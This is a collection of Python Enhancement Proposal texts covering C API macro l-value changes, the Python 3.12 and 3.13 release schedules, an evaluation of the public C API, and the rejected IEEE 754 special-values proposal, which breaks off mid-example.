Compatibility The proposed C API changes are backward incompatible on purpose. In practice, only Py_TYPE() and Py_SIZE() macros are used as l-values. This change does not follow the PEP 387 deprecation process. There is no known way to emit a deprecation warning only when a macro is used as an l-value, but not when it’s used differently (ex: as a r-value). The following 4 macros are left unchanged to reduce the number of affected projects: PyDescr_NAME(), PyDescr_TYPE(), PyList_GET_ITEM() and PyTuple_GET_ITEM(). Statistics In total (projects on PyPI and not on PyPI), 34 projects are known to be affected by this PEP: 16 projects (47%) are already fixed 18 projects (53%) are not fixed yet (pending fix or have to regenerate their Cython code) On September 1, 2022, the PEP affects 18 projects (0.4%) of the top 5000 PyPI projects: 15 projects (0.3%) have to regenerate their Cython code 3 projects (0.1%) have a pending fix Top 5000 PyPI Projects with a pending fix (3): datatable (1.0.0): fixed guppy3 (3.1.2): fixed scipy (1.9.3): need to update boost python Moreover, 15 projects have to regenerate their Cython code. Projects released with a fix (12): bitarray (1.6.2): commit Cython (0.29.20): commit immutables (0.15): commit mercurial (5.7): commit, bug report mypy (v0.930): commit numpy (1.22.1): commit, commit 2 pycurl (7.44.1): commit PyGObject (3.42.0) pyside2 (5.15.1): bug report python-snappy (0.6.1): fixed recordclass (0.17.2): fixed zstd (1.5.0.3): commit There are also two backport projects which are affected by this PEP: pickle5 (0.0.12): backport for Python <= 3.7 pysha3 (1.0.2): backport for Python <= 3.5 They must not be used and cannot be used on Python 3.11. Other affected projects Other projects released with a fix (4): boost (1.78.0): commit breezy (3.2.1): bug report duplicity (0.8.18): commit gobject-introspection (1.70.0): MR Relationship with the HPy project The HPy project The hope with the HPy project is to provide a C API that is close to the original API—to make porting easy—and have it perform as close to the existing API as possible. At the same time, HPy is sufficiently removed to be a good “C extension API” (as opposed to a stable subset of the CPython implementation API) that does not leak implementation details. To ensure this latter property, the HPy project tries to develop everything in parallel for CPython, PyPy, and GraalVM Python. HPy is still evolving very fast. Issues are still being solved while migrating NumPy, and work has begun on adding support for HPy to Cython. Work on pybind11 is starting soon. Tim Felgentreff believes by the time HPy has these users of the existing C API working, HPy should be in a state where it is generally useful and can be deemed stable enough that further development can follow a more stable process. In the long run the HPy project would like to become a promoted API to write Python C extensions. The HPy project is a good solution for the long term. It has the advantage of being developed outside Python and it doesn’t require any C API change. The C API is here is stay for a few more years The first concern about HPy is that right now, HPy is not mature nor widely used, and CPython still has to continue supporting a large amount of C extensions which are not likely to be ported to HPy soon. The second concern is the inability to evolve CPython internals to implement new optimizations, and the inefficient implementation of the current C API in PyPy, GraalPython, etc. Sadly, HPy will only solve these problems when most C extensions will be fully ported to HPy: when it will become reasonable to consider dropping the “legacy” Python C API. While porting a C extension to HPy can be done incrementally on CPython, it requires to modify a lot of code and takes time. Porting most C extensions to HPy is expected to take a few years. This PEP proposes to make the C API “less bad” by fixing one problem which is clearily identified as causing practical issues: macros used as l-values. This PEP only requires updating a minority of C extensions, and usually only a few lines need to be changed in impacted extensions. For example, NumPy 1.22 is made of 307,300 lines of C code, and adapting NumPy to the this PEP only modified 11 lines (use Py_SET_TYPE and Py_SET_SIZE) and adding 4 lines (to define Py_SET_TYPE and Py_SET_SIZE for Python 3.8 and older). The beginnings of the NumPy port to HPy already required modifying more lines than that. Right now, it’s hard to bet which approach is the best: fixing the current C API, or focusing on HPy. It would be risky to only focus on HPy. Rejected Idea: Leave the macros as they are The documentation of each function can discourage developers to use macros to modify Python objects. If these is a need to make an assignment, a setter function can be added and the macro documentation can require to use the setter function. For example, a Py_SET_TYPE() function has been added to Python 3.9 and the Py_TYPE() documentation now requires to use the Py_SET_TYPE() function to set an object type. If developers use macros as an l-value, it’s their responsibility when their code breaks, not Python’s responsibility. We are operating under the consenting adults principle: we expect users of the Python C API to use it as documented and expect them to take care of the fallout, if things break when they don’t. This idea was rejected because only few developers read the documentation, and only a minority is tracking changes of the Python C API documentation. The majority of developers are only using CPython and so are not aware of compatibility issues with other Python implementations. Moreover, continuing to allow using macros as an l-value does not help the HPy project, and leaves the burden of emulating them on GraalVM’s Python implementation. Macros already modified The following C API macros have already been modified to disallow using them as l-value: PyCell_SET() PyList_SET_ITEM() PyTuple_SET_ITEM() Py_REFCNT() (Python 3.10): Py_SET_REFCNT() must be used _PyGCHead_SET_FINALIZED() _PyGCHead_SET_NEXT() asdl_seq_GET() asdl_seq_GET_UNTYPED() asdl_seq_LEN() asdl_seq_SET() asdl_seq_SET_UNTYPED() For example, PyList_SET_ITEM(list, 0, item) < 0 now fails with a compiler error as expected. Post History PEP 674 “Disallow using macros as l-values” and Python 3.11 (August 18, 2022) SC reply to PEP 674 – Disallow using macros as l-values (February 22, 2022) PEP 674: Disallow using macros as l-value (version 2) (Jan 18, 2022) PEP 674: Disallow using macros as l-value (Nov 30, 2021) References Python C API: Add functions to access PyObject (October 2021) article by Victor Stinner [capi-sig] Py_TYPE() and Py_SIZE() become static inline functions (September 2021) [C API] Avoid accessing PyObject and PyVarObject members directly: add Py_SET_TYPE() and Py_IS_TYPE(), disallow Py_TYPE(obj)=type (February 2020) bpo-30459: PyList_SET_ITEM could be safer (May 2017) Version History Version 3: No longer change PyDescr_TYPE() and PyDescr_NAME() macros Version 2: Add “Relationship with the HPy project” section, remove the PyPy section Version 1: First public version Copyright This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive.

Deferred

PEP 674 – Disallow using macros as l-values

Standards Track

Disallow using macros as l-values. For example, Py_TYPE(obj) = new_type now fails with a compiler error.

PEP 693 – Python 3.12 Release Schedule Author: Thomas Wouters <thomas at python.org> Status: Active Type: Informational Topic: Release Created: 24-May-2022 Python-Version: 3.12 Table of Contents Abstract Release Manager and Crew Release Schedule 3.12.0 schedule Bugfix releases Source-only security fix releases 3.12 Lifespan Features for 3.12 Copyright Abstract This document describes the development and release schedule for Python 3.12. Release Manager and Crew 3.12 Release Manager: Thomas Wouters Windows installers: Steve Dower Mac installers: Ned Deily Documentation: Julien Palard Release Schedule 3.12.0 schedule Note: the dates below use a 17-month development period that results in a 12-month release cadence between feature versions, as defined by PEP 602. Actual: 3.12 development begins: Sunday, 2022-05-08 3.12.0 alpha 1: Monday, 2022-10-24 3.12.0 alpha 2: Monday, 2022-11-14 3.12.0 alpha 3: Tuesday, 2022-12-06 3.12.0 alpha 4: Tuesday, 2023-01-10 3.12.0 alpha 5: Tuesday, 2023-02-07 3.12.0 alpha 6: Tuesday, 2023-03-07 3.12.0 alpha 7: Tuesday, 2023-04-04 3.12.0 beta 1: Monday, 2023-05-22 (No new features beyond this point.) 3.12.0 beta 2: Tuesday, 2023-06-06 3.12.0 beta 3: Monday, 2023-06-19 3.12.0 beta 4: Tuesday, 2023-07-11 3.12.0 candidate 1: Sunday, 2023-08-06 3.12.0 candidate 2: Wednesday, 2023-09-06 3.12.0 candidate 3: Tuesday, 2023-09-19 3.12.0 final: Monday, 2023-10-02 Bugfix releases Actual: 3.12.1: Thursday, 2023-12-07 Expected: 3.12.2: Tuesday, 2024-02-06 3.12.3: Tuesday, 2024-04-09 3.12.4: Tuesday, 2024-06-04 3.12.5: Tuesday, 2024-08-06 3.12.6: Tuesday, 2024-10-01 3.12.7: Tuesday, 2024-12-03 3.12.8: Tuesday, 2025-02-04 3.12.9: Tuesday, 2025-04-08 Source-only security fix releases Provided irregularly on an as-needed basis until October 2028. 3.12 Lifespan 3.12 will receive bugfix updates approximately every 2 months for approximately 18 months. Some time after the release of 3.13.0 final, the ninth and final 3.12 bugfix update will be released. After that, it is expected that security updates (source only) will be released until 5 years after the release of 3.12.0 final, so until approximately October 2028. Features for 3.12 New features can be found in What’s New In Python 3.12. Copyright This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive.

Active

PEP 693 – Python 3.12 Release Schedule

Informational

This document describes the development and release schedule for Python 3.12.

PEP 719 – Python 3.13 Release Schedule Author: Thomas Wouters <thomas at python.org> Status: Active Type: Informational Topic: Release Created: 26-May-2023 Python-Version: 3.13 Table of Contents Abstract Release Manager and Crew Release Schedule 3.13.0 schedule 3.13 Lifespan Copyright Abstract This document describes the development and release schedule for Python 3.13. Release Manager and Crew 3.13 Release Manager: Thomas Wouters Windows installers: Steve Dower Mac installers: Ned Deily Documentation: Julien Palard Release Schedule 3.13.0 schedule Note: the dates below use a 17-month development period that results in a 12-month release cadence between feature versions, as defined by PEP 602. Actual: 3.13 development begins: Monday, 2023-05-22 3.13.0 alpha 1: Friday, 2023-10-13 3.13.0 alpha 2: Wednesday, 2023-11-22 3.13.0 alpha 3: Wednesday, 2024-01-17 Expected: 3.13.0 alpha 4: Tuesday, 2024-02-13 3.13.0 alpha 5: Tuesday, 2024-03-12 3.13.0 alpha 6: Tuesday, 2024-04-09 3.13.0 beta 1: Tuesday, 2024-05-07 (No new features beyond this point.) 3.13.0 beta 2: Tuesday, 2024-05-28 3.13.0 beta 3: Tuesday, 2024-06-18 3.13.0 beta 4: Tuesday, 2024-07-16 3.13.0 candidate 1: Tuesday, 2024-07-30 3.13.0 candidate 2: Tuesday, 2024-09-03 3.13.0 final: Tuesday, 2024-10-01 Subsequent bugfix releases every two months. 3.13 Lifespan 3.13 will receive bugfix updates approximately every 2 months for approximately 24 months. Around the time of the release of 3.15.0 final, the final 3.13 bugfix update will be released. After that, it is expected that security updates (source only) will be released until 5 years after the release of 3.13.0 final, so until approximately October 2029. Copyright This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive.

Active

PEP 719 – Python 3.13 Release Schedule

Informational

This document describes the development and release schedule for Python 3.13.

PEP 733 – An Evaluation of Python’s Public C API Author: Erlend Egeberg Aasland <erlend at python.org>, Domenico Andreoli <domenico.andreoli at linux.com>, Stefan Behnel <stefan_ml at behnel.de>, Carl Friedrich Bolz-Tereick <cfbolz at gmx.de>, Simon Cross <hodgestar at gmail.com>, Steve Dower <steve.dower at python.org>, Tim Felgentreff <tim.felgentreff at oracle.com>, David Hewitt <1939362+davidhewitt at users.noreply.github.com>, Shantanu Jain <hauntsaninja at gmail.com>, Wenzel Jakob <wenzel.jakob at epfl.ch>, Irit Katriel <irit at python.org>, Marc-Andre Lemburg <mal at lemburg.com>, Donghee Na <donghee.na at python.org>, Karl Nelson <nelson85 at llnl.gov>, Ronald Oussoren <ronaldoussoren at mac.com>, Antoine Pitrou <solipsis at pitrou.net>, Neil Schemenauer <nas at arctrix.com>, Mark Shannon <mark at hotpy.org>, Stepan Sindelar <stepan.sindelar at oracle.com>, Gregory P. Smith <greg at krypto.org>, Eric Snow <ericsnowcurrently at gmail.com>, Victor Stinner <vstinner at python.org>, Guido van Rossum <guido at python.org>, Petr Viktorin <encukou at gmail.com>, Carol Willing <willingc at gmail.com>, William Woodruff <william at yossarian.net>, David Woods <dw-git at d-woods.co.uk>, Jelle Zijlstra <jelle.zijlstra at gmail.com> Status: Draft Type: Informational Created: 16-Oct-2023 Post-History: 01-Nov-2023 Table of Contents Abstract Introduction C API Stakeholders Common Actions for All Stakeholders Extension Writers Authors of Embedded Python Applications Python Implementations Alternative APIs and Binding Generators Strengths of the C API C API problems API Evolution and Maintenance API Specification and Abstraction Object Reference Management Type Definition and Object Creation Error Handling API Tiers and Stability Guarantees Use of the C Language Implementation Flaws Missing Functionality Debug Mode Introspection Improved Interaction with Other Languages References Copyright Abstract This informational PEP describes our shared view of the public C API. The document defines: purposes of the C API stakeholders and their particular use cases and requirements strengths of the C API problems of the C API categorized into nine areas of weakness This document does not propose solutions to any of the identified problems. By creating a shared list of C API issues, this document will help to guide continuing discussion about change proposals and to identify evaluation criteria. Introduction Python’s C API was not designed for the different purposes it currently fulfills. It evolved from what was initially the internal API between the C code of the interpreter and the Python language and libraries. In its first incarnation, it was exposed to make it possible to embed Python into C/C++ applications and to write extension modules in C/C++. These capabilities were instrumental to the growth of Python’s ecosystem. Over the decades, the C API grew to provide different tiers of stability, conventions changed, and new usage patterns have emerged, such as bindings to languages other than C/C++. In the next few years, new developments are expected to further test the C API, such as the removal of the GIL and the development of a JIT compiler. However, this growth was not supported by clearly documented guidelines, resulting in inconsistent approaches to API design in different subsystems of CPython. In addition, CPython is no longer the only implementation of Python, and some of the design decisions made when it was, are difficult for alternative implementations to work with [Issue 64]. In the meantime, lessons were learned and mistakes in both the design and the implementation of the C API were identified. Evolving the C API is hard due to the combination of backwards compatibility constraints and its inherent complexity, both technical and social. Different types of users bring different, sometimes conflicting, requirements. The tradeoff between stability and progress is an ongoing, highly contentious topic of discussion when suggestions are made for incremental improvements. Several proposals have been put forward for improvement, redesign or replacement of the C API, each representing a deep analysis of the problems. At the 2023 Language Summit, three back-to-back sessions were devoted to different aspects of the C API. There is general agreement that a new design can remedy the problems that the C API has accumulated over the last 30 years, while at the same time updating it for use cases that it was not originally designed for. However, there was also a sense at the Language Summit that we are trying to discuss solutions without a clear common understanding of the problems that we are trying to solve. We decided that we need to agree on the current problems with the C API, before we are able to evaluate any of the proposed solutions. We therefore created the capi-workgroup repository on GitHub in order to collect everyone’s ideas on that question. Over 60 different issues were created on that repository, each describing a problem with the C API. We categorized them and identified a number of recurring themes. The sections below mostly correspond to these themes, and each contains a combined description of the issues raised in that category, along with links to the individual issues. In addition, we included a section that aims to identify the different stakeholders of the C API, and the particular requirements that each of them has. C API Stakeholders As mentioned in the introduction, the C API was originally created as the internal interface between CPython’s interpreter and the Python layer. It was later exposed as a way for third-party developers to extend and embed Python programs. Over the years, new types of stakeholders emerged, with different requirements and areas of focus. This section describes this complex state of affairs in terms of the actions that different stakeholders need to perform through the C API. Common Actions for All Stakeholders There are actions which are generic, and required by all types of API users: Define functions and call them Define new types Create instances of builtin and user-defined types Perform operations on object instances Introspect objects, including types, instances, and functions Raise and handle exceptions Import modules Access to Python’s OS interface The following sections look at the unique requirements of various stakeholders. Extension Writers Extension writers are the traditional users of the C API. Their requirements are the common actions listed above. They also commonly need to: Create new modules Efficiently interface between modules at the C level Authors of Embedded Python Applications Applications with an embedded Python interpreter. Examples are Blender and OBS. They need to be able to: Configure the interpreter (import paths, inittab, sys.argv, memory allocator, etc.). Interact with the execution model and program lifetime, including clean interpreter shutdown and restart. Represent complex data models in a way Python can use without having to create deep copies. Provide and import frozen modules. Run and manage multiple independent interpreters (in particular, when embedded in a library that wants to avoid global effects). Python Implementations Python implementations such as CPython, PyPy, GraalPy, IronPython, RustPython, MicroPython, and Jython), may take very different approaches for the implementation of different subsystems. They need: The API to be abstract and hide implementation details. A specification of the API, ideally with a test suite that ensures compatibility. It would be nice to have an ABI that can be shared across Python implementations. Alternative APIs and Binding Generators There are several projects that implement alternatives to the C API, which offer extension users advantanges over programming directly with the C API. These APIs are implemented with the C API, and in some cases by using CPython internals. There are also libraries that create bindings between Python and other object models, paradigms or languages. There is overlap between these categories: binding generators usually provide alternative APIs, and vice versa. Examples are Cython, cffi, pybind11 and nanobind for C++, PyO3 for Rust, Shiboken used by PySide for Qt, PyGObject for GTK, Pygolo for Go, JPype for Java, PyJNIus for Android, PyObjC for Objective-C, SWIG for C/C++, Python.NET for .NET (C#), HPy, Mypyc, Pythran and pythoncapi-compat. CPython’s DSL for parsing function arguments, the Argument Clinic, can also be seen as belonging to this category of stakeholders. Alternative APIs need minimal building blocks for accessing CPython efficiently. They don’t necessarily need an ergonomic API, because they typically generate code that is not intended to be read by humans. But they do need it to be comprehensive enough so that they can avoid accessing internals, without sacrificing performance. Binding generators often need to: Create custom objects (e.g. function/module objects and traceback entries) that match the behavior of equivalent Python code as closely as possible. Dynamically create objects which are static in traditional C extensions (e.g. classes/modules), and need CPython to manage their state and lifetime. Dynamically adapt foreign objects (strings, GC’d containers), with low overhead. Adapt external mechanisms, execution models and guarantees to the Python way (stackful coroutines, continuations, one-writer-or-multiple-readers semantics, virtual multiple inheritance, 1-based indexing, super-long inheritance chains, goroutines, channels, etc.). These tools might also benefit from a choice between a more stable and a faster (possibly lower-level) API. Their users could then decide whether they can afford to regenerate the code often or trade some performance for more stability and less maintenance work. Strengths of the C API While the bulk of this document is devoted to problems with the C API that we would like to see fixed in any new design, it is also important to point out the strengths of the C API, and to make sure that they are preserved. As mentioned in the introduction, the C API enabled the development and growth of the Python ecosystem over the last three decades, while evolving to support use cases that it was not originally designed for. This track record in itself is indication of how effective and valuable it has been. A number of specific strengths were mentioned in the capi-workgroup discussions. Heap types were identified as much safer and easier to use than static types [Issue 4]. API functions that take a C string literal for lookups based on a Python string are very convenient [Issue 30]. The limited API demonstrates that an API which hides implementation details makes it easier to evolve Python [Issue 30]. C API problems The remainder of this document summarizes and categorizes the problems that were reported on the capi-workgroup repository. The issues are grouped into several categories. API Evolution and Maintenance The difficulty of making changes in the C API is central to this report. It is implicit in many of the issues we discuss here, particularly when we need to decide whether an incremental bugfix can resolve the issue, or whether it can only be addressed as part of an API redesign [Issue 44]. The benefit of each incremental change is often viewed as too small to justify the disruption. Over time, this implies that every mistake we make in an API’s design or implementation remains with us indefinitely. We can take two views on this issue. One is that this is a problem and the solution needs to be baked into any new C API we design, in the form of a process for incremental API evolution, which includes deprecation and removal of API elements. The other possible approach is that this is not a problem to be solved, but rather a feature of any API. In this view, API evolution should not be incremental, but rather through large redesigns, each of which learns from the mistakes of the past and is not shackled by backwards compatibility requirements (in the meantime, new API elements may be added, but nothing can ever be removed). A compromise approach is somewhere between these two extremes, fixing issues which are easy or important enough to tackle incrementally, and leaving others alone. The problem we have in CPython is that we don’t have an agreed, official approach to API evolution. Different members of the core team are pulling in different directions and this is an ongoing source of disagreements. Any new C API needs to come with a clear decision about the model that its maintenance will follow, as well as the technical and organizational processes by which this will work. If the model does include provisions for incremental evolution of the API, it will include processes for managing the impact of the change on users [Issue 60], perhaps through introducing an external backwards compatibility module [Issue 62], or a new API tier of “blessed” functions [Issue 55]. API Specification and Abstraction The C API does not have a formal specification, it is currently defined as whatever the reference implementation (CPython) contains in a particular version. The documentation acts as an incomplete description, which is not sufficient for verifying the correctness of either the full API, the limited API, or the stable ABI. As a result, the C API may change significantly between releases without needing a more visible specification update, and this leads to a number of problems. Bindings for languages other than C/C++ must parse C code [Issue 7]. Some C language features are hard to handle in this way, because they produce compiler-dependent output (such as enums) or require a C preprocessor/compiler rather than just a parser (such as macros) [Issue 35]. Furthermore, C header files tend to expose more than what is intended to be part of the public API [Issue 34]. In particular, implementation details such as the precise memory layouts of internal data structures can be exposed [Issue 22 and PEP 620]. This can make API evolution very difficult, in particular when it occurs in the stable ABI as in the case of ob_refcnt and ob_type, which are accessed via the reference counting macros [Issue 45]. We identified a deeper issue in relation to the way that reference counting is exposed. The way that C extensions are required to manage references with calls to Py_INCREF and Py_DECREF is specific to CPython’s memory model, and is hard for alternative Python implementations to emulate. [Issue 12]. Another set of problems arises from the fact that a PyObject* is exposed in the C API as an actual pointer rather than a handle. The address of an object serves as its ID and is used for comparison, and this complicates matters for alternative Python implementations that move objects during GC [Issue 37]. A separate issue is that object references are opaque to the runtime, discoverable only through calls to tp_traverse/tp_clear, which have their own purposes. If there was a way for the runtime to know the structure of the object graph, and keep up with changes in it, this would make it possible for alternative implementations to implement different memory management schemes [Issue 33]. Object Reference Management There does not exist a consistent naming convention for functions which makes their reference semantics obvious, and this leads to error prone C API functions, where they do not follow the typical behaviour. When a C API function returns a PyObject*, the caller typically gains ownership of a reference to the object. However, there are exceptions where a function returns a “borrowed” reference, which the caller can access but does not own a reference to. Similarly, functions typically do not change the ownership of references to their arguments, but there are exceptions where a function “steals” a reference, i.e., the ownership of the reference is permanently transferred from the caller to the callee by the call [Issue 8 and Issue 52]. The terminology used to describe these situations in the documentation can also be improved [Issue 11]. A more radical change is necessary in the case of functions that return “borrowed” references (such as PyList_GetItem) [Issue 5 and Issue 21] or pointers to parts of the internal structure of an object (such as PyBytes_AsString) [Issue 57]. In both cases, the reference/pointer is valid for as long as the owning object holds the reference, but this time is hard to reason about. Such functions should not exist in the API without a mechanism that can make them safe. For containers, the API is currently missing bulk operations on the references of contained objects. This is particularly important for a stable ABI where INCREF and DECREF cannot be macros, making bulk operations expensive when implemented as a sequence of function calls [Issue 15]. Type Definition and Object Creation The C API has functions that make it possible to create incomplete or inconsistent Python objects, such as PyTuple_New and PyUnicode_New. This causes problems when the object is tracked by GC or its tp_traverse/tp_clear functions are called. A related issue is with functions such as PyTuple_SetItem which is used to modify a partially initialized tuple (tuples are immutable once fully initialized) [Issue 56]. We identified a few issues with type definition APIs. For legacy reasons, there is often a significant amount of code duplication between tp_new and tp_vectorcall [Issue 24]. The type slot function should be called indirectly, so that their signatures can change to include context information [Issue 13]. Several aspects of the type definition and creation process are not well defined, such as which stage of the process is responsible for initializing and clearing different fields of the type object [Issue 49]. Error Handling Error handling in the C API is based on the error indicator which is stored on the thread state (in global scope). The design intention was that each API function returns a value indicating whether an error has occurred (by convention, -1 or NULL). When the program knows that an error occurred, it can fetch the exception object which is stored in the error indicator. We identified a number of problems which are related to error handling, pointing at APIs which are too easy to use incorrectly. There are functions that do not report all errors that occur while they execute. For example, PyDict_GetItem clears any errors that occur when it calls the key’s hash function, or while performing a lookup in the dictionary [Issue 51]. Python code never executes with an in-flight exception (by definition), and typically code using native functions should also be interrupted by an error being raised. This is not checked in most C API functions, and there are places in the interpreter where error handling code calls a C API function while an exception is set. For example, see the call to PyUnicode_FromString in the error handler of _PyErr_WriteUnraisableMsg [Issue 2]. There are functions that do not return a value, so a caller is forced to query the error indicator in order to identify whether an error has occurred. An example is PyBuffer_Release [Issue 20]. There are other functions which do have a return value, but this return value does not unambiguously indicate whether an error has occurred. For example, PyLong_AsLong returns -1 in case of error, or when the value of the argument is indeed -1 [Issue 1]. In both cases, the API is error prone because it is possible that the error indicator was already set before the function was called, and the error is incorrectly attributed. The fact that the error was not detected before the call is a bug in the calling code, but the behaviour of the program in this case doesn’t make it easy to identify and debug the problem. There are functions that take a PyObject* argument, with special meaning when it is NULL. For example, if PyObject_SetAttr receives NULL as the value to set, this means that the attribute should be cleared. This is error prone because it could be that NULL indicates an error in the construction of the value, and the program failed to check for this error. The program will misinterpret the NULL to mean something different than error [Issue 47]. API Tiers and Stability Guarantees The different API tiers provide different tradeoffs of stability vs API evolution, and sometimes performance. The stable ABI was identified as an area that needs to be looked into. At the moment it is incomplete and not widely adopted. At the same time, its existence is making it hard to make changes to some implementation details, because it exposes struct fields such as ob_refcnt, ob_type and ob_size. There was some discussion about whether the stable ABI is worth keeping. Arguments on both sides can be found in [Issue 4] and [Issue 9]. Alternatively, it was suggested that in order to be able to evolve the stable ABI, we need a mechanism to support multiple versions of it in the same Python binary. It was pointed out that versioning individual functions within a single ABI version is not enough because it may be necessary to evolve, together, a group of functions that interoperate with each other [Issue 39]. The limited API was introduced in 3.2 as a blessed subset of the C API which is recommended for users who would like to restrict themselves to high quality APIs which are not likely to change often. The Py_LIMITED_API flag allows users to restrict their program to older versions of the limited API, but we now need the opposite option, to exclude older versions. This would make it possible to evolve the limited API by replacing flawed elements in it [Issue 54]. More generally, in a redesign we should revisit the way that API tiers are specified and consider designing a method that will unify the way we currently select between the different tiers [Issue 59]. API elements whose names begin with an underscore are considered private, essentially an API tier with no stability guarantees. However, this was only clarified recently, in PEP 689. It is not clear what the change policy should be with respect to such API elements that predate PEP 689 [Issue 58]. There are API functions which have an unsafe (but fast) version as well as a safe version which performs error checking (for example, PyTuple_GET_ITEM vs PyTuple_GetItem). It may help to be able to group them into their own tiers - the “unsafe API” tier and the “safe API” tier [Issue 61]. Use of the C Language A number of issues were raised with respect to the way that CPython uses the C language. First there is the issue of which C dialect we use, and how we test our compatibility with it, as well as API header compatibility with C++ dialects [Issue 42]. Usage of const in the API is currently sparse, but it is not clear whether this is something that we should consider changing [Issue 38]. We currently use the C types long and int, where fixed-width integers such as int32_t and int64_t may now be better choices [Issue 27]. We are using C language features which are hard for other languages to interact with, such as macros, variadic arguments, enums, bitfields, and non-function symbols [Issue 35]. There are API functions that take a PyObject* arg which must be of a more specific type (such as PyTuple_Size, which fails if its arg is not a PyTupleObject*). It is an open question whether this is a good pattern to have, or whether the API should expect the more specific type [Issue 31]. There are functions in the API that take concrete types, such as PyDict_GetItemString which performs a dictionary lookup for a key specified as a C string rather than PyObject*. At the same time, for PyDict_ContainsString it is not considered appropriate to add a concrete type alternative. The principle around this should be documented in the guidelines [Issue 23]. Implementation Flaws Below is a list of localized implementation flaws. Most of these can probably be fixed incrementally, if we choose to do so. They should, in any case, be avoided in any new API design. There are functions that don’t follow the convention of returning 0 for success and -1 for failure. For example, PyArg_ParseTuple returns 0 for success and non-zero for failure [Issue 25]. The macros Py_CLEAR and Py_SETREF access their arg more than once, so if the arg is an expression with side effects, they are duplicated [Issue 3]. The meaning of Py_SIZE depends on the type and is not always reliable [Issue 10]. Some API function do not have the same behaviour as their Python equivalents. The behaviour of PyIter_Next is different from tp_iternext. [Issue 29]. The behaviour of PySet_Contains is different from set.__contains__ [Issue 6]. The fact that PyArg_ParseTupleAndKeywords takes a non-const char* array as argument makes it more difficult to use [Issue 28]. Python.h does not expose the whole API. Some headers (like marshal.h) are not included from Python.h. [Issue 43]. Naming PyLong and PyUnicode use names which no longer match the Python types they represent (int/str). This could be fixed in a new API [Issue 14]. There are identifiers in the API which are lacking a Py/_Py prefix [Issue 46]. Missing Functionality This section consists of a list of feature requests, i.e., functionality that was identified as missing in the current C API. Debug Mode A debug mode that can be activated without recompilation and which activates various checks that can help detect various types of errors [Issue 36]. Introspection There aren’t currently reliable introspection capabilities for objects defined in C in the same way as there are for Python objects [Issue 32]. Efficient type checking for heap types [Issue 17]. Improved Interaction with Other Languages Interfacing with other GC based languages, and integrating their GC with Python’s GC [Issue 19]. Inject foreign stack frames to the traceback [Issue 18]. Concrete strings that can be used in other languages [Issue 16]. References Python/C API Reference Manual 2023 Language Summit Blog Post: Three Talks on the C API capi-workgroup on GitHub Irit’s Core Sprint 2023 slides about C API workgroup Petr’s Core Sprint 2023 slides HPy team’s Core Sprint 2023 slides for Things to Learn from HPy Victor’s slides of Core Sprint 2023 Python C API talk The Python’s stability promise — Cristián Maureira-Fredes, PySide maintainer Report on the issues PySide had 5 years ago when switching to the stable ABI Copyright This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive.

Draft

PEP 733 – An Evaluation of Python’s Public C API

Informational

This informational PEP describes our shared view of the public C API. The document defines:

PEP 754 – IEEE 754 Floating Point Special Values Author: Gregory R. Warnes <gregory_r_warnes at groton.pfizer.com> Status: Rejected Type: Standards Track Created: 28-Mar-2003 Python-Version: 2.3 Post-History: Table of Contents Rejection Notice Abstract Rationale API Definition Constants Functions Example Implementation References Copyright Rejection Notice This PEP has been rejected. After sitting open for four years, it has failed to generate sufficient community interest. Several ideas of this PEP were implemented for Python 2.6. float('inf') and repr(float('inf')) are now guaranteed to work on every supported platform with IEEE 754 semantics. However the eval(repr(float('inf'))) roundtrip is still not supported unless you define inf and nan yourself: >>> inf = float('inf') >>> inf, 1E400 (inf, inf) >>> neginf = float('-inf') >>> neginf, -1E400 (-inf, -inf) >>> nan = float('nan') >>> nan, inf * 0. (nan, nan) The math and the sys module also have gained additional features, sys.float_info, math.isinf, math.isnan, math.copysign. Abstract This PEP proposes an API and a provides a reference module that generates and tests for IEEE 754 double-precision special values: positive infinity, negative infinity, and not-a-number (NaN). Rationale The IEEE 754 standard defines a set of binary representations and algorithmic rules for floating point arithmetic. Included in the standard is a set of constants for representing special values, including positive infinity, negative infinity, and indeterminate or non-numeric results (NaN). Most modern CPUs implement the IEEE 754 standard, including the (Ultra)SPARC, PowerPC, and x86 processor series. Currently, the handling of IEEE 754 special values in Python depends on the underlying C library. Unfortunately, there is little consistency between C libraries in how or whether these values are handled. For instance, on some systems “float(‘Inf’)” will properly return the IEEE 754 constant for positive infinity. On many systems, however, this expression will instead generate an error message. The output string representation for an IEEE 754 special value also varies by platform. For example, the expression “float(1e3000)”, which is large enough to generate an overflow, should return a string representation corresponding to IEEE 754 positive infinity. Python 2.1.3 on x86 Debian Linux returns “inf”. On Sparc Solaris 8 with Python 2.2.1, this same expression returns “Infinity”, and on MS-Windows 2000 with Active Python 2.2.1, it returns “1.#INF”. Adding to the confusion, some platforms generate one string on conversion from floating point and accept a different string for conversion to floating point. On these systems float(str(x)) will generate an error when “x” is an IEEE special value. In the past, some have recommended that programmers use expressions like: PosInf = 1e300**2 NaN = PosInf/PosInf to obtain positive infinity and not-a-number constants. However, the first expression generates an error on current Python interpreters. A possible alternative is to use: PosInf = 1e300000 NaN = PosInf/PosInf While this does not generate an error with current Python interpreters, it is still an ugly and potentially non-portable hack. In addition, defining NaN in this way does solve the problem of detecting such values. First, the IEEE 754 standard provides for an entire set of constant values for Not-a-Number. Second, the standard requires that NaN != X for all possible values of X, including NaN. As a consequence NaN == NaN should always evaluate to false. However, this behavior also is not consistently implemented. [e.g. Cygwin Python 2.2.2] Due to the many platform and library inconsistencies in handling IEEE special values, it is impossible to consistently set or detect IEEE 754 floating point values in normal Python code without resorting to directly manipulating bit-patterns. This PEP proposes a standard Python API and provides a reference module implementation which allows for consistent handling of IEEE 754 special values on all supported platforms. API Definition Constants NaNNon-signalling IEEE 754 “Not a Number” value PosInfIEEE 754 Positive Infinity value NegInfIEEE 754 Negative Infinity value Functions isNaN(value)Determine if the argument is an IEEE 754 NaN (Not a Number) value. isPosInf(value)Determine if the argument is an IEEE 754 positive infinity value. isNegInf(value)Determine if the argument is an IEEE 754 negative infinity value. isFinite(value)Determine if the argument is a finite IEEE 754 value (i.e., is not NaN, positive, or negative infinity). isInf(value)Determine if the argument is an infinite IEEE 754 value (positive or negative infinity) Example (Run under Python 2.2.1 on Solaris 8.) >>> import fpconst >>> val = 1e30000 # should be cause overflow and result in "Inf" >>> val Infinity >>> fpconst.isInf(val) 1 >>> fpconst.PosInf Infinity >>> nval = val/val # should result in NaN >>> nval NaN >>> fpconst.isNaN(nval) 1 >>> 